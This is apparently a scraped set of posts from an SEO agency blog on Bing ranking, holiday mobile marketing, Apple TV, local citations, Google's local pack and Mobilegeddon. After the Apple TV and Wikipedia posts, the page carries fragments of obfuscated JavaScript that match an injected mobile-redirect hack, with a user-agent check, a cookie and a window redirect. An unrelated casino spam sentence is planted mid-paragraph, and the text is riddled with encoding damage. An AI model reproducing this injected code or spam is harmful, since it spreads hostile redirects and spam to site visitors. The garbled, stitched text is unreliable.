just bing it!

If you were to ask just about anyone who the biggest search engine is, theya��d rightfully answer Google. In fact, Google is used nearly two-thirds of the time when it comes to organic searches. Bing, however, has been movina�� on up in the search engine hierarchy; in addition to partnering with Yahoo, the growing engine is now powering AOLa��s search, bringing its total domain to approximately 1/3 of organic searches.

While most webmasters focus mostly on how to rank higher in Googlea��s search results, it would be remiss to neglect to consider what will help a page rank higher with Bing. Interestingly, Bing is more transparent than Google is when it comes to their algorithms, so you will have less guesswork to do if you would like to focus some or all of your sites on Bing criteria.

Some Is the Same

There are some components of a good website that will help you whether you are attempting to appeal to Google or Bing users. For example, your site needs to appeal to users. A high bounce rate tells both search engines that people are simply not receptive to your site. Your content should be well-written and should hold authority.

Click-through rates are also important. Keep this in mind as you create your ads and hyperlinks; you want people to click those links and go to your site.

Backlinks May Matter Less

Fewer of the top results from Bing contain backlinks, something that Google has relied on in their algorithms. If you are going to include backlinks, try to get them in the body of the content rather than in a sidebar or as a list at the bottom of a page.

Keyword Matching Is a Bit Iffy

While Google is genius at keyword matching, Bing seems to be a bit slower on this. When you use inbound anchor text, make sure that you are using good keywords, including long-tail keywords. The danger here is that you link too many keywords, which will set off Googlea��s spam-o-meter; keep this in mind and use moderation.

Authority Counts

Having an older domain name and older domains linking to your site will boost your ranking with Bing. New domains dona��t do as well, so if you have an older domain name that you just havena��t been using, it might make sense to use it for a while, even if only to let a newer, more preferred domain name age a bit before switching over.

There Are Tools for You to Use

Bing does seem to try to make it easier on its users by providing a webmaster guide as well as a tool to tell you how your site is doing. Check out the guide and the SEO Analyzer to measure the appeal of your site when it comes to this search engine.

Remember that while search engine rankings are important, ita��s just as important to appeal to actual humans. Speak to a professional search marketing expert at Most Optimal to learn more and to hear about what we can do for your site and your page rankings on the biggest search engines.

Creative Commons image by Phil Campbell.

Creative Commons image by Phil Campbell.

With only a few days left before Christmas, last-minute shoppers are scurrying to fill their virtual shopping carts in the hopes that the final few gifts will arrive in time for the big day. While there are no stats on how many people are procrastinating this year when it comes to finishing up their shopping, Google reports that a whopping 54% of online shoppers will be making purchases through their smartphones, and that 30% of all shopping will be happening on said phones. That is a lot of shopping taking place on small handheld devices!

This shopping is taking place all throughout the World Wide Web, but it tends to be concentrated in just a handful of digital spaces. First, people will search on Google, which is no surprise. Many will order through Amazon (or will at least use Amazon as a reference for reviews and shopping ideas) and eBay. Social media will have an impact, too; Facebook is the most popular social media site, followed by Pinterest, Instagram and Twitter. As a small business owner, what does this mean for you?

With the countdown ticking by, you need to act right now. The first and most important task at hand is to make sure that your local Google search listing is accurate. Go look right now, while ita��s on your mind. Is your address and phone number correct? Are your current (read: open-late-for-the-holidays) business hours listed, if applicable? If people cana��t find you in their mad dashes through the streets to accomplish a Santa Claus-inspired mission or they dona��t realize that you’re open a few hours later, they are not going to be able to purchase your goods or services.

You can place ads on Google to run for the next couple of days. Product Listing Ads have better quality and more details than the regular paid search text listings, so consider spending the extra money temporarily.

Check your website to make sure ita��s mobile-optimized. On many platforms, this is a matter of clicking a few buttons, but on others, youa��ll need some technical know-how. Having a less-than-friendly mobile site will frustrate shoppers and will cause Google to knock your listing down a few pegs (or a few pages). If you are not sure where to begin, check out this article by the Google Developers.

Next, make a quick review of your social media presence. Yes, you can go ahead and pay for your ad to be shown or your posts to be boosted on Facebook. In these final moments before Christmas, last-minute shoppers want you to make it easy on them. In addition, consider whipping up a quick gift guide or a piece on the benefits of *insert your widget here* and posting that on your business Facebook timeline. Tweet them on your Twitter account, too.

Take some photos, if you dona��t already have them, and get them uploaded onto Pinterest and/or Instagram. Dona��t forget to add a link to your website! On Instagram, you will need to add it to your account description; placed in the comments, it will not be an active link. Be sure to use Instagram hashtags like #lastminutegiftideas, #Christmasshopping, and words that buyers would use to describe your product or service. Use descriptive words in your Pinterest description fields, too.

The heat is definitely on as we head into the last few days of 2015, but these tips will serve you well into 2016, as well. Happy Holidays from Most Optimal!


Creative Commons image by Julien GONG Min

Creative Commons image by Julien GONG Min

Youa��ve got your iPhone, your iPod and maybe a Mac, so you may feel that springing for Apple TV would be redundant. There are actually some great features of the newest member of the Apple lineup that just might make it worth your while to check it out. Here are three features that youa��ll wonder what you ever did without.

  1. Siri. Your favorite virtual assistant has made her way over to the Apple TV. Instead of using a remote control or grappling with the volume buttons, just let Siri handle it for you. She can help you find what you want, pause the show while you get popcorn, rewind, skip over the scary parts, or just about anything else. Shea��ll also tell you who directed a certain movie. One of the excellent options she offers is that to figure out what a character just said. Instead of guessing, becoming frustrated or trying to rewind while listening more closely, Siri can help: She will rewind the video briefly, then will turn on the closed-captioning for that section of speech that you didna��t hear. How convenient is that?
  2. Games. If youa��re a hardcore gamer, you probably already have an Xbox One or PS4. If not, however, you might still enjoy playing games on the big screen. The Apple TV allows you to enjoy some of your favorite Apple game apps right on your television. In addition to games, the Apple TV has a new Top Charts section, just like what you have on your iPhone. Filter options by price (free and not free) and popularity.
  3. Comparison shopping. If you want to catch up on your favorite series or check out a movie online, you often need to visit the various streaming sites to find out where ita��s available. Then you will need to do some research to determine where ita��s the cheapest. With the Apple TV, this is done for you. You have the option to check many different sites to find the best deal. At this time, Amazon Video streaming is not available on the Apple TV, but who knows? Maybe it will be in the future.

Whether you own every other Apple product there is or this is your first step into the world that is Apple, the Apple TV is worth considering. With the holidays coming up, it will also make a great gift for someone in your life… preferable someone in your house, so you can enjoy the television as much as they do! fdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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15087456064_be1faf2e6a_zYou might have heard rumblings over the summer that Wikipediaa��s rankings had fallen due to Google algorithm changes. Ita��s true; MOZ and Stone Temple Consulting have verified that yes, the online encyclopedia was coming up less often than it had in the past.

What might surprise you, however, is that Wikipedia was (and is) still coming up higher than Google sites. Interestingly, commercial searches are more likely to bring up Wikipedia sites, while informational searches are bringing up more Google sites (but Wikipedia is still ahead).

The drop is not significant enough to make anyone think that Wikipedia is going anywhere any time soon, but it was enough to be noticed by Wikipedia and by analysts.

You can read more about the studies on Search Engine Land.

Whata��s the takeaway here?

Ita��s important to keep in mind that algorithms change frequently, and a long-term vision and strategy is more important than trying to adjust for every up and down. If your Google ranking is dropping consistently, this is a problem worth looking into and fixing. If ita��s fluctuating a bit, therea��s usually no need to worry; even Googlea��s own links and sites fluctuate! Keep an eye on your sitea��s trends and be proactive if you see a consistent drop, but dona��t panic if ita��s mild and temporary.

Also, the fact that even a site as large and reliable as Wikipedia can drop pretty significantly is a good indication that an expert in rankings might mean the difference between a small company having a position on the first page of local search results. At Most Optimal, we focus on keeping our clientsa�� Google rankings as high as possible. Please contact us if you want to talk about your ranking and what we can do to help you raise it. 32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

mobile wallet
Creative Commons image by Jason Howie.

Creative Commons image by Jason Howie.

You already know that when you stroll through the grocery store, you might find packages of paper plates alongside the hot dog rolls, or graham crackers located near the marshmallows. Product placement is perfect for stores wanting to get consumers to a�?impulse buya�? extra products. If youa��re having a picnic and serving hot dogs, you very well may need paper plates, and with a package sitting so conveniently in the aisle that youa��re already in, you might not even bother comparing prices in the paper goods section halfway across the store.

With the use of mobile wallet offers, this type of a�?product placementa�? has gone high-tech.

When consumers are already inside a retail store, they are primed to buy. Even if theya��re running for a�?just one thing,a�? chances are excellent that they will pick up several more items before they make it to the checkout. With beacons (tiny devices that transmit Bluetooth Low Energy waves to communicate with smartphones) located around the store, specials and product reminders can actually be sent to phones in the store, prompting their users to remember that they are low on products like tissues, cleaning supplies or cat food.

With the majority of local searches now taking place on mobile devices, this technology allows establishments to capitalize on buyers being in the right place at the right time. Someone searching for a good deal on laundry detergent from home is probably planning on buying some later that day or later that week. They may or may not remember which brand was on sale at any particular store unless it was a great deal. Once someone is already in the store, however, a notification that Tide is on sale for half off in aisle 7 is timed perfectly: The consumer remembers that he or she needs laundry detergent (or realizes that ita��s a good deal and shouldna��t be passed up, even if there are still two bottles left in the laundry room!) and makes the purchase, even if that wasna��t on the shopping list to begin with.

Of course, these offers are not just limited to in-store retail purchases. People use local search all the time to find restaurants, health clinics and office supply companies while out and about. Theya��ll also use local search via their mobile phones to find a plumber who is close by when the water heater is leaking all over their basement. By setting up offers to go directly to their mobile wallets, you can tip the odds in your favor that youa��ll be the service provider that these users will choose.

If you are relying on local search to fuel a good percentage of your sales, it might be worth installing beacons and using mobile wallet offers to take advantage of the a�?here and nowa�? moments that come up in your customersa�� days.

Have you had good results using mobile wallet offers?

local citations

What are local citations?

Local citations are simply mentions of your business on third party web sites. Typically citations will include your business name, address, and phone number and often a link back to your website. This combination of information is referred to as NAP; short for name, address, and phone. Having consistent NAP data across the web is a major ranking factor in local and mobile based searches. This is important because more and more searches are conducted on mobile devices, especially when the search has local intent.

A large Google Maps pin marker

Image courtesy of Amber Case – CC

Why are local citations important?

For years, Google and other search engines have been using backlinks (hypertext links back to your website) as aA�primary metric for determining ranking. Although backlinks are still an important ranking factor, search engines nowA�look at other factors that are less easy to manipulate by spammers.A�Local citation and directory sites work great for this since they typically require phone or address verification and are less easy to “fake” than other ranking factors like links or social signals.


What are the best local citation sites?

The whole point of local citations is to help Google and other search engines verify that you are who you say you are. To that end, not all local directories are created equal. Google has penalized low quality directories in the past so it is important that you are only placing your data on a reputable, established site. Think Facebook, Yelp, Citysearch, MerchantCircle, orA�Tripadvisor. Of course, there are hundreds of reputable sites that you probably have never heard of which is why we have curated a list of the top 50 local citation sites. The best local citations sites will not only provide a mention or link back to your site, but will also provide referral traffic back to your site.

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Popular local citation and local directories

Popular local citation and local directories
Each year we look at hundreds of sites that aggregate local data and determine the 50 top local citation sites that consistently show up on the first page of Google results for search queries with local intent. These sites are all well-established and have a lotA�of authority with Google which is why it is important that your business information is consistent across all of them.

Wondering how your business looks on these sites? Don’t waste your time checking each manually, just contact us and we will deliver a free local citation audit straight to your inbox.



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This guy is not happy about the latest change to the Google local pack.

Creative Commons image by Barkbud (Flickr)

About a month ago, Google changed one of their algorithms. The change didna��t get too much attention or publicity outside of local SEO circles, but it has the potential to create quite a stir when it comes to search queries with local intent.A�In the past, when you searched for a local business, you would see the top seven Google search listings. That 7-pack has now been reduced to just three listings.

If your business has been in 4th through 7th place, this can be disconcerting news. After all, instead of having your business name and contact information come up immediately in searches, users will need to click a�?morea�? in order to see your listing. While this might seem like a big negative, the change might not impact you quite as much as you think. Herea��s why:

Addresses Are Not Included

If you go to Google and run a search (try a�?dentists in Chicago,a�? or a�?plumbers in Miami,a�? for example), under the PPC ads, youa��ll see a map of the city you entered, along with the top three listings. If you look closely at the listings, however, you will notice that the actual street addresses are not included. The streets are there, but the numbers are not. The phone numbers are also missing.

If you click a�?more dentists (or plumbers),a�? a bigger map will come up, along with more listings. If you are in the top dozen or so listings, you might end up in this section. There are still no numbers or full addresses listed. (If a user clicks a particular listing, they will be brought to a page where the contact information is available.)

What this means is that in order to get the information they need, users are going to need to click and click again. When they click a�?more,a�? they will have an additional opportunity to see your listing, provided it is in the top handful of listings.

It Might Not Make a Difference, Anyway

Think about this: The reason Google made this change was most likely because the listings below #3 were simply not getting a lot of clicks. You can also use mega moolah 100% bonus freispiele. If you were getting, say, 5 hits per month before the change, you are likely to get the same number after the change.

One strong possibility here is that on mobile phones, which the majority of Americans are using to access the Internet, really only show three listings comfortably. When people searched before, they would only see the top three listings anyway. Theya��d need to have a reason to scroll down and see the other four that used to be included.
A New, Smaller Local Pack or Snack Pack on Google
The Future and You

So, if you are not in the top 3 listings for your industry and locations, what can you do? Obviously, doing what you can to boost your ranking is going to be key. Ita��s also important to consider what the future may hold. Here are two possibilities:

  • Your ratings and reviews might become more important. As a general rule, you should be encouraging your clients to leave you a review or a star rating on your Google+ page. This might pay off in the future, should Google decide to show those star ratings in search results.
  • Paid advertising might take center stage. Aside from those PPC ads, you might also begin seeing more paid advertising in what looks like regular listings. Go run a search for locksmiths in San Francisco, and youa��ll see what we mean. (At the moment, only plumbers and locksmiths in Frisco are affected by this, but the practice could extend to other industries and locations.)

As with other Google algorithm changes, your response to this change should largely be a matter of waiting and seeing. You can depend on Most Optimal to not only keep you posted on the latest changes when it comes to this search engine giant, but also to help you rank as high as possible to avoid being impacted by these types of changes. Please contact us to find out what we can do for you and your business.

mobile search
mobile search

CC image courtesy of Japanexperterna.se

Everywhere you go, people are staring at their smartphones. It might be a disconcerting trend, but ita��s not unheard of to see a party of six at a restaurant all looking at their screens instead of interacting. Like it or not, this is the way of the 21st century, and this dependence on tiny mobile devices is actually impacting your business, even if youa��re not in a field that has anything to do with technology or the Internet.

How, you ask? Well, you almost certainly have a website, and you likely get a solid percentage of your clients or customers because they looked you up on the World Wide Web. This has been the case for a decade or more, but the reliance on smartphones makes a big difference: If your site isna��t mobile-friendly, it will not only frustrate people looking for your information, but they might not even learn about you in the first place, thanks to Googlea��s latest a�?Mobilegeddona�? update.

How many people are we talking about? Well, the number of mobile searches surpassed the number of desktop searches by about a billion searches in 2014. While the number of desktop searches is expected to remain fairly constant over the next five years, if current trends continue, the number of mobile searches will more than double over the same time period!

What does this mean for you? First, your marketing dollars should reflect the changes. While you might be concentrating mostly on ads geared toward PC or Mac users, ita��s time to start shifting your funds to the mobile ad market. All of those people with their noses in their phones in restaurants, shopping malls, homes and (hopefully the passenger seats of) cars are able to be marketed to, and they are: While the majority of people still use their PCs to make actual purchases, much of the shopping and searching is done via smartphone. Take advantage of this!

Of course, you also need to make sure that your website is mobile-friendly. Google will place your site lower on the search result pages if your site isna��t up to snuff. What does that mean? Your links need to be easy to touch on a small smartphone screen, your fonts must be easy to read, your site must load up quickly on mobile devices, and all parts of the site need to be easily seen on the screen without scrolling.

A smart and savvy business owner will make sure that his or her site is easy to use and easy to find on mobile devices. Whether or not you like the tendency to use screens 24 hours per day, seven days per week, this trend isna��t going anywhere, so ita��s wise to embrace it and use it to your advantage.

Most Optimal is the home of experts in local search marketing, search engine optimization and other facets of digital marketing. If you are interested in our services, we are offering a 14-day free trial. During this period, you will receive a website audit and analysis, along with actionable suggestions on how you can appeal to mobile and desktop users alike to attract more customers and raise your bottom line. Contact us or sign up for your free trial today.

Google mobilegeddon

CC image courtesy of Carlos Luna

You may have heard the hullaballoo about what was affectionately termed a�?Mobilegeddona�? a couple of months ago. If not, herea��s a quick recap:

Googlea��s latest algorithm change was to ensure that the sites coming up in mobile searches (i.e. on smartphones) would be mobile-friendly. This means that the sites would load quickly on mobile devices, the links would be easy to open on a tiny touch-screen, and users wouldna��t have to scroll from side to side or up and down to see the entire mobile page. Websites that were not deemed mobile-friendly would still come up with their original rankings on searches performed via laptop, PC, Mac or tablet, but would be pushed further down the list on searches performed with smartphones.

Sounds simple, right? Some businesses might not have worried about it, figuring that most of their clientele were using devices other than smartphones to search for their websites anyway. Unfortunately, ita��s those very businesses who have noticed a drop in their rankings.

As Brandon Prettyman, a website strategist quoted by searchenginewatch.com explained, small businesses might lack the resources and know-how involved in making a site mobile-friendly. What they might not have realized is that many customers will search and shop on their phones, then switch to a computer to make their purchase. So if your company is not coming up on mobile searches, youa��re already at a disadvantage when the time comes for a customer to log onto their laptop and make a purchase.

If you are among the sizable percentage (40 to 50 percent) of small or medium-sized businesses to be affected by this change, ita��s not too late to get your website up to par. The first thing you should do is run the Mobile-Friendly Test. This is a Google tool that will analyze your site and let you know what needs to be done in order to make it mobile-friendly. You can make the changes yourself if youa��re technologically savvy or you can hire a web developer to go in and fix the site. If youa��re doing it yourself, or even if youa��re hiring someone to do it for you, take a look at these common mistakes people make when trying to upgrade their mobile-friendliness.

It is important to keep things in perspective, however. With approximately 200 factors that go into the Google algorithm that decides where your website falls in the search results, this one on its own is not going to make or break your success. This latest change is taken into consideration along with all of the other factors. If your site is the best answer to a search query, ita��s likely that it will still show up on the first page of mobile search results; at the same time, if ita��s not the best answer, but one of a dozen or a hundred, thata��s where mobile-friendliness is going to be an issue.

If you have questions about Mobilegeddon or about anything else pertaining to SEO, digital marketing or local search results, the gurus at Most Optimal can help. Please sign up for your 14-day free trial to claim your free site audit and analysis.